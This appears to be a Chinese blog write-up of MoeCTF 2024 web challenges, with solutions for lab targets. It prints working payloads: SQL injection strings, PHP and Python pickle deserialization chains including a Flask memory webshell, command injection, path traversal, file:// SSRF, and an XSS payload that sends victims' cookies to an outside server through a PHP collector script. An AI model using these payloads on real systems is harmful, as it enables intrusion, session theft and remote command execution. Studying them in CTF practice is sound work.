MoeCTF 2024

一年一度的 MoeCTF 又来了,不过我好久没打过 CTF 了,前段时间一直在搞开发。

WEB

弗拉格之地的入口

直接进入 /robots.txt 发现 /webtutorEntry.php 文件,进入即可拿到 flag

ez_http

注意 GET 参数那里包含了中文,一定要进行 url 编码一次

ProveYourLove

信息:都七夕了,怎么还是单身狗丫?快拿起勇气向你 crush 表白叭,300 份才能证明你的爱!

在网页源码中存在 JavaScript 提交检测,提交之后会在本地存储生成一个 confessionSubmitted,如果值为 true 则点击按钮之后请求会被拦截到。

有两种解决方法,第一个比较笨拙原始,因为他是检测的本地存储,则可以自己修改

不过由于要发送三百次,那就用第二种方法,在第一次触发请求的时候用 burpsuite 拦截,然后用 intruder 模块进行发包

弗拉格之地的挑战

第一步,进入 /flag1ab.html ,查看网页源码

<!--恭喜你找到了网页的源代码,通常在这里题目会放一些提示,做题没头绪一定要先进来看一下-->
<!--flag1: bW9lY3Rm-->
<!--下一步:/flag2hh.php-->

第二步,查看消息头

flag2: e0FmdEV
nextpage: /flag3cad.php

第三步,抓包

flag3: yX3RoMXN
<a href='/flag4bbc.php'>前往下一关</a>

第四步,在 HTTP 头里加一个 Referer: http://localhost:8080/flag3cad.php?a=1 ,跳转到第四关

在 js 代码中可以只要按钮的 id 是 9 就行了,直接 F12 修改就行

恭喜你!你已经知道,前端的一切都是可以更改的!
flag4: fdFVUMHJ
前往:/flag5sxr.php

第五步,前端 js 有检查字符串,可以直接抓包修改,或者浏览器设置里禁用 JS 即可

<p>恭喜,我相信你已经深刻了解了前端不可信任的道理!</p>
<p>flag5: fSV90aDF</p>
<a href='flag6diw.php'>前往下一关</a>

第六步,源码如下,moe 在无模式的时候不能直接匹配到 flag,但是在忽略大小写的时候要匹配到 flag,那么直接传参 moe=FLAG 即可

<?php
highlight_file("flag6diw.php");
if (isset($_GET['moe']) && $_POST['moe']) {
if (preg_match('/flag/', $_GET['moe'])) {
die("no");
} elseif (preg_match('/flag/i', $_GET['moe'])) {
echo "flag6: xxx";
}
}
flag6: rZV9VX2t

第七步,POST 传参 what=system (“cat /flag7 “);

在根目录下拿到 flag7,并且得到提示是 base64 加密,把七个 flag 拼一下解密就行了

flag7: rbm93X1dlQn0=

静态网页

F12 看到有这哥 /api/get 的请求,进去查看将 id 改为 0,报错引出一个新的 php 文件如下

<?php
highlight_file('final1l1l_challenge.php');
error_reporting(0);
include 'flag.php';
$a = $_GET['a'];
$b = $_POST['b'];
if (isset($a) && isset($b)) {
if (!is_numeric($a) && !is_numeric($b)) {
if ($a == 0 && md5($a) == $b[$a]) {
echo $flag;
} else {
die('noooooooooooo');
}
} else {
die( 'Notice the param type!');
}
} else {
die( 'Where is your param?');
}

首先 a 和 b 都不能是数字,并且 a 的值要是 0,b [a] 也要等于 a 的 md5 值。

思路:a 是一个 md5 处理后 0e 开头的一个字符串(因为是两个等号,弱比较,0exxxx 都等于 0)。b 的第一个字符应该是 0,并且不能是纯数字。

电院_Backend

在 robots.txt 中发现 /admin 路由,进去是登陆界面,源码有点长,这里只看有用的地方

if(!preg_match("/[a-zA-Z0-9]+@[a-zA-Z0-9]+\\.[a-zA-Z0-9]+/", $email)||preg_match("/or/i", $email)){
echo json_encode(array('status' => 0,'info' => '不存在邮箱为: '.$email.' 的管理员账号!'));
unset($_SESSION['captcha_code']);
exit;
}
$sql = "SELECT * FROM admin WHERE email='$email' AND pwd='$pwd'";

这里邮箱就只是一个正常邮箱格式,并且其中不能有 or 关键字,sql 语句也只是简单的单引号闭合

密码随便输,账号如图就行了,直接截断掉了后面的 pwd。

pop moe

整个 pop 链条是很简单的,从 000 到 003 直接走下来就行了,也不多说了

<?php
class class000 {
private $payl0ad = 1;
protected $what;
function __construct()
{
$this->what=new class001();
}
}
class class001 {
public $payl0ad="dangerous";
public $a;
function __construct()
{
$this->a=new class002();
}
}
class class002 {
private $sec;
function __construct()
{
$this->sec=new class003();
}
}
class class003 {
public $mystr="phpinfo()";
}
echo serialize(new class000());
http://127.0.0.1:58271/?data=O:8:"class000":2:{s:17:"%00class000%00payl0ad";i:1;s:7:"%00*%00what";O:8:"class001":2:{s:7:"payl0ad";s:9:"dangerous";s:1:"a";O:8:"class002":1:{s:13:"%00class002%00sec";O:8:"class003":1:{s:5:"mystr";s:10:"phpinfo();";}}}}

把 private 和 protect 的不可见字符替换成 %00 就行了

勇闯铜人阵

典型的 python 题目,先查看答案在网页源码中的格式

import re
import requests
request = requests.session()
url = "http://127.0.0.1:53218/"
begin = {"player": "123", "direct": "弟子明白"}
pattern = re.compile('<h1 id="status">\s*(.+?)\s*</h1>')
# 方向映射
directions_map = {
"1": "北方",
"2": "东北方",
"3": "东方",
"4": "东南方",
"5": "南方",
"6": "西南方",
"7": "西方",
"8": "西北方"
}
def format_directions(nums):
if len(nums) == 1:
# 列表中只有一个数字,直接返回方向名称
direction = directions_map.get(nums[0], "未知")
return f"{direction}"
formatted_directions = []
for num in nums:
direction = directions_map.get(num, "未知")
formatted_directions.append(f"{direction}一个")
return ",".join(formatted_directions)
for i in range(6):
if i == 0:
response = request.post(url=url, data=begin)
print(response.text)
else:
direct_str = format_directions(nums)
print(direct_str, "direct")
response = request.post(url=url, data={"player": "123", "direct": direct_str})
print(response.text)
num = re.findall(pattern, response.text)[0]
nums = re.findall(r'\d+', num) # 直接使用提取出来的顺序
directions = [directions_map.get(n, "未知") for n in nums]
print(f"方向数字: {nums}")
print(f"对应方位: {directions}\n")

Re: 从零开始的 XDU 教书生活

题目信息

  • 本题约定:所有账号的用户名 == 手机号 == 密码。教师账号用户名:10000。
  • 当浏览器开启签到页面时,二维码每 10 秒刷新一次,使用过期的二维码无法完成签到。(浏览器不开启签到页面时,不会进行自动刷新,可以持续使用有效的二维码,除非手动发送刷新二维码的请求) 当你完成任务后,请结束签到活动。你将会获得 Flag 。

也是一个写脚本的问题,只不过比铜人阵要复杂一点点,由于代码过长,这里只讲思路。

登录接口抓包可以发现,uname 和 password 是经过加密的,加密逻辑没有直接给出,但是解密逻辑在 app.py 中有,可以逆推到加密方式,这样就能对每个学生进行登陆操作获取该学生的 token(老师的 token 也能这样获取到)

#burpsuite
POST /fanyalogin HTTP/1.1
#省略掉不重要的部分
Cookie: token=4ba20ea2-5458-4d48-beaf-0e4a61bcbe08; retainlogin=1
fid=-1&uname=/LgCkbIdwG1Do95thvCwcA==&password=/LgCkbIdwG1Do95thvCwcA==&refer=https%3A%2F%2Fi.chaoxing.com&t=true&forbidotherlogin=0&validate=&doubleFactorLogin=0&independentId=0&independentNameId=0
#app.py
def decrypt_by_aes(encrypted: str, key: str, iv: str) -> str:
key_bytes = key.encode("utf-8")
iv_bytes = iv.encode("utf-8")
cipher = AES.new(key_bytes, AES.MODE_CBC, iv_bytes)
encrypted_bytes = base64.b64decode(encrypted)
decrypted_bytes = cipher.decrypt(encrypted_bytes)
pad = decrypted_bytes[-1]
decrypted_bytes = decrypted_bytes[:-pad]
decrypted = decrypted_bytes.decode("utf-8")
return decrypted
#据此逆推出加密函数,可借助AI生成代码
def encrypt_by_aes(plain_text: str, key: str, iv: str) -> str:
key_bytes = key.encode("utf-8")
iv_bytes = iv.encode("utf-8")
cipher = AES.new(key_bytes, AES.MODE_CBC, iv_bytes)
pad = 16 - (len(plain_text) % 16)
padded_text = plain_text + chr(pad) * pad
encrypted_bytes = cipher.encrypt(padded_text.encode("utf-8"))
encrypted_base64 = base64.b64encode(encrypted_bytes).decode("utf-8")
return encrypted_base64

将老师页面的二维码另存到桌面,并且上传,可以看到是访问了这个路由并且传了参数

回到代码,其中需要手动更改的参数只有 c 和 enc,也就是对应的全局变量,而二维码的生成逻辑里可以看出是有这两个参数的

@app.route("/widget/sign/e", methods=["GET"])
def e():
token = request.cookies.get("token")
if token is None or token not in token_user or token_user[token] == teacher_phone:
return redirect("/login")
if request.args.get("id") != str(active_id) or request.args.get("c") != sign_code or request.args.get("enc") != enc:
return "二维码已过期。"
uid = token_user[token]
for i in sign_list:
if i["uid"] == int(uid):
if i["status"] == 0:
if active_status == 2:
i["status"] = 11
else:
i["status"] = 1
return status[i["status"]]
@app.route("/v2/apis/sign/refreshQRCode", methods=["GET"])
def refreash_QRCode():
global sign_code, enc
sign_code = str(random.randint(3000000000000, 4000000000000))
enc = "".join(random.choice(["0", "1", "2", "3", "4", "5", "6", "7", "8", "9", "A", "B", "C", "D", "E", "F"]) for _ in range(32))
response = {
"result": 1,
"msg": "success",
"data": {
"enc": enc,
"signCode":sign_code
},
"errorMsg": None
}
return jsonify(response)

那么整体的思路就来了:先要用老师账号登录获取到学生列表,然后获取时间戳和 enc,使用学生的账号登录获取到学生 token,再用学生身份把时间戳和 enc 带到扫描二维码的路由

完整代码

#主程序.py
from 获取学生列表 import get_student_list
from 登录获取token import getToken
from 获取时间戳和enc import get_timestamp_and_enc
from 扫描二位码 import scan_qrcode
import concurrent.futures
student_list = get_student_list()
enc, signcode = get_timestamp_and_enc() # 获取enc和signcode
def process_student(index):
temp_token = getToken(student_list[index]) # 获取单个学生的token
scan_qrcode(sign_code=signcode, enc=enc, token=temp_token) # 扫描二维码
return index
with concurrent.futures.ThreadPoolExecutor() as executor:
futures = [executor.submit(process_student, i) for i in range(len(student_list))]
for future in concurrent.futures.as_completed(futures):
i = future.result()
print(i)
#登录获取token.py
import requests
from Crypto.Cipher import AES
import base64
import json
import re
def encrypt_by_aes(plain_text: str, key: str, iv: str) -> str:
key_bytes = key.encode("utf-8")
iv_bytes = iv.encode("utf-8")
cipher = AES.new(key_bytes, AES.MODE_CBC, iv_bytes)
pad = 16 - (len(plain_text) % 16)
padded_text = plain_text + chr(pad) * pad
encrypted_bytes = cipher.encrypt(padded_text.encode("utf-8"))
encrypted_base64 = base64.b64encode(encrypted_bytes).decode("utf-8")
return encrypted_base64
def getToken(uname):
pattern = re.compile("token=(.*); E")
poststr=encrypt_by_aes(uname,"u2oh6Vu^HWe4_AES","u2oh6Vu^HWe4_AES")
url = "http://127.0.0.1:59835/fanyalogin"
data = {
"fid": "-1",
"uname":f"{poststr}" ,
"password":f"{poststr}",
"refer": "https://i.chaoxing.com",
"t": "true",
"forbidotherlogin": "0",
"validate": "",
"doubleFactorLogin": "0",
"independentId": "0",
"independentNameId": "0"
}
headers=requests.post(url=url,data=data).headers['Set-Cookie']
return re.findall(pattern,headers)[0]
#获取学生列表.py
import requests
import json
from 登录获取token import getToken
def get_student_list():
# 创建一个会话
request = requests.session()
# 请求的URL
url = "http://127.0.0.1:59835/widget/sign/pcTeaSignController/showSignInfo1?activeId=4000000000000&webCacheId=4000000000000&appType=15&_=1723951358863"
teacher_token=getToken('10000')
# 设置Cookie
cookie = {"retainlogin": "1", "token": f"{teacher_token}"} #用老师的身份来进行获取学生
# 发送GET请求
req = request.get(url=url, cookies=cookie)
# 解析响应的JSON内容
data = json.loads(req.text)
# 从解析的JSON中提取name字段
name_list = [item["name"] for item in data["data"]["changeUnSignList"]]
print(teacher_token)
return name_list
print(get_student_list())
#获取时间戳和enc.py
from datetime import datetime, timedelta, timezone
import json
import requests
from 登录获取token import getToken
def get_current_timestamp() -> int:
return int(datetime.now().timestamp() * 1000)
def get_timestamp_and_enc():
base_url= "http://127.0.0.1:62019"
get_enc_signCode = f"{base_url}/v2/apis/sign/refreshQRCode?activeId=4000000000000&time={get_current_timestamp()}&viewFrom=&viceScreen=0&viceScreenEwmEnc="
token=getToken("10000")
req=requests.get(get_enc_signCode,headers={
"Cookie":f"token={token}; retainlogin=1"
})
response_body=json.loads(req.content.decode())
enc = response_body['data']['enc']
signcode = response_body['data']['signCode']
print(enc,signcode)
return (enc,signcode)
#扫描二维码.py
import requests
from 获取时间戳和enc import get_timestamp_and_enc
def scan_qrcode(sign_code,enc,token):
request= requests.session()
url="http://127.0.0.1:62019/widget/sign/e"
url_data=f"?id=4000000000000&c={sign_code}&enc={enc}&DB_STRATEGY=PRIMARY_KEY&STRATEGY_PARA=id"
request.get(url=url+url_data,headers={
"Cookie":f"token={token}; retainlogin=1"
})

因为二维码是 10 秒会刷新一下,多运行几次主程序就好了。(懒得改代码)

欢迎来到垫刀之路

一个简单的命令执行,cat /flag 之后提示说在环境变量中。

有可能会在 /proc/1/environ 里,但是遍历过后发现不存在。发现可以使用 php 的命令行形式来执行,搜索字符串即可

php -r "phpinfo();"

ImageCloud 前置

命令执行 + php 伪协议读取 /etc/passwd

http://127.0.0.1:53159/index.php?url=file:///etc/passwd

垫刀之路 02: 普通的文件上传

mime 类型抓包修改为 image/jpeg 即可绕过

垫刀之路 03: 这是一个图床

前端文件名后缀校验,将正常木马后缀改为 jpg,然后抓包改回即可

垫刀之路 04: 一个文件浏览器

http://127.0.0.1:55317/?path=../../../../../../var/www/html/index.php

测试可以进行目录穿越读取数据,并且在 index.php 里看到了如果 path 是个目录还会把目录中的所有文件及目录返回到页面中,一个一个点进去看,在根目录下 /tmp/flag 找到

垫刀之路 05: 登陆网站

抓个包设置 password 字段,payload 可以用 burpsuite 自带的 sql 字典,也可以从网上找。

username=admin123&password=123' or '1'='1
#单引号闭合

垫刀之路 06: pop base mini moe

<?php
class A {
// 注意 private 属性的序列化哦
private $evil;
// 如何赋值呢
private $a;
function __construct()
{
$this->a=new B();
$this->evil="ls";
}
}
class B {
private $b="system";
}
echo serialize(new A());
http://127.0.0.1:63135/?data=O:1:"A":2:{s:7:"%00A%00evil";s:9:"cat /flag";s:4:"%00A%00a";O:1:"B":1:{s:4:"%00B%00b";s:6:"system";}}

垫刀之路 07: 泄漏的密码

页面给了 pin 码,进入 /console 路由,输入 pin 码进入终端。

环境变量中拿到 flag

ImageCloud

题目信息给出,flag 在名为 flag.jpg 的图片中,并且附件中 flag.jpg 存在于 uploads 文件夹。

附件中存在两个 flask 服务的 python 文件,一个是 5000 端口的外部云文件,保存图片路径为 static,另一个是端口在 5001 到 6000 中间随机的内部云文件,保存路径是 uploads。

#外部云
@app.route('/image', methods=['GET'])
def load_image():
url = request.args.get('url')
if not url:
return 'URL 参数缺失', 400
try:
response = requests.get(url)
response.raise_for_status()
img = Image.open(BytesIO(response.content))
img_io = BytesIO()
img.save(img_io, img.format)
img_io.seek(0)
return send_file(img_io, mimetype=img.get_format_mimetype())
except Exception as e:
return f"无法加载图片: {str(e)}", 400

从外部云这里可以发现,image 路由可以对内部云进行请求获取图片。

先随便上传一个图片,然后对其抓包,尝试爆破内部云端口。

http://127.0.0.1:56188/image?url=http://localhost:5412/image/flag.jpg


who’s blog?

进入题目,提示用 id 来进行传参。题目环境是用 python 搭建的,容易想到 SSTI 模板注入漏洞。

flag 在环境变量里

PetStore

题目给出提示是关于 python 的 pickle 反序列化漏洞。

拿到源码关注导入部分的函数

def import_pet(self, serialized_pet) -> bool:
try:
pet_data = base64.b64decode(serialized_pet)
pet = pickle.loads(pet_data)
if isinstance(pet, Pet):
for i in self.pets:
if i.uuid == pet.uuid:
return False
self.pets.append(pet)
return True
return False
except Exception as e:
print(f"Import failed: {str(e.decode())}")
return False

可以看到这个路由是直接拿到数据就进行 load,这里就存在反序列化漏洞,后续的不重要。

由于题目不出网,无法外带,经过信息搜集之后发现,Flask 可以进行写入内存马。

下面是相关知识链接。

import pickle
import base64
import uuid
import os
class Pet:
def __init__(self, name, species) -> None:
self.name = name
self.species = species
self.uuid = uuid.uuid4()
def __repr__(self) -> str:
return f"Pet(name={self.name}, species={self.species}, uuid={self.uuid})"
def __reduce__(self):
return (eval,("__import__(\"sys\").modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None, []).append(lambda :__import__('os').popen(request.args.get('cmd')).read())",))
p = Pet("a", "b")
opcode = pickle.dumps(p)
opcode_encode = base64.b64encode(opcode).decode()
print(opcode_encode)
#gASVwgAAAAAAAACMCGJ1aWx0aW5zlIwEZXZhbJSTlIymX19pbXBvcnRfXygic3lzIikubW9kdWxlc1snX19tYWluX18nXS5fX2RpY3RfX1snYXBwJ10uYmVmb3JlX3JlcXVlc3RfZnVuY3Muc2V0ZGVmYXVsdChOb25lLCBbXSkuYXBwZW5kKGxhbWJkYSA6X19pbXBvcnRfXygnb3MnKS5wb3BlbihyZXF1ZXN0LmFyZ3MuZ2V0KCdjbWQnKSkucmVhZCgpKZSFlFKULg==

然后将字符串进行 import,即可在服务上产生一个新的监听,对 cmd 参数的命令执行。

还有一个更简单的解法,直接把 flag 存入 store 里

import base64
import pickle
class Test:
def __reduce__(self):
return (exec, ("import os; store.create_pet(os.getenv('FLAG'), 'flag');",))
if __name__ == "__main__":
print(base64.b64encode(pickle.dumps(Test())).decode("utf-8"))

smbms

题目给出的测试 sql 附件中发现密码是弱密码,可以字典爆破

密码是 1234567,就可以登进去了。

在获取用户列表这里是使用的直接拼接 userName,再用 % 进行包裹。存在 sql 注入漏洞,是单引号闭合,只需要把后面的百分号无效化就行了。数据库的列数在 sql 的测试文件中有,最终尝试到 14 列。

孙%' union select 1,(select database()),3,4,5,6,7,8,9,10,11,12,13,14 where '1%'='1

可以看到成功爆出数据库名

孙%' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3,4,5,6,7,8,9,10,11,12,13,14 where '1%'='1
孙%' union select 1,(select flag from flag),3,4,5,6,7,8,9,10,11,12,13,14 where '1%'='1

MessageBox

经典的 web 留言板

从源码分析可以得出,只有 luo 用户的 cookie 中才具有真正的 flag

而留言板可以看到自己发出的,也可看到别人发给自己的

初步猜测是 XSS 漏洞

我在自己的服务器上创建了两个文件便于靶机外带 cookie

一个是 test1.php,另一个是空的 data.txt

<?php
$file = 'data.txt';
// 写入文件
if (!empty($_GET)) {
$params = http_build_query($_GET);
$escaped_params = htmlspecialchars($params, ENT_QUOTES, 'UTF-8');
file_put_contents($file, $escaped_params . "\n", FILE_APPEND);
}
// 读取并显示文件内容
if (file_exists($file)) {
echo nl2br(file_get_contents($file));
} else {
echo "没有提供任何参数";
}
?>

然后将以下信息发给 luo

<img src=x onerror=this.src='http://49.235.164.104/test1.php?c='+document.cookie>

稍等一会,xss 反弹回来就得到了真正的 flag

当前页面链接: https://www.hyhforever.top/moectf-2024/
如果您对本文内容有所意见或者建议,欢迎评论。
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇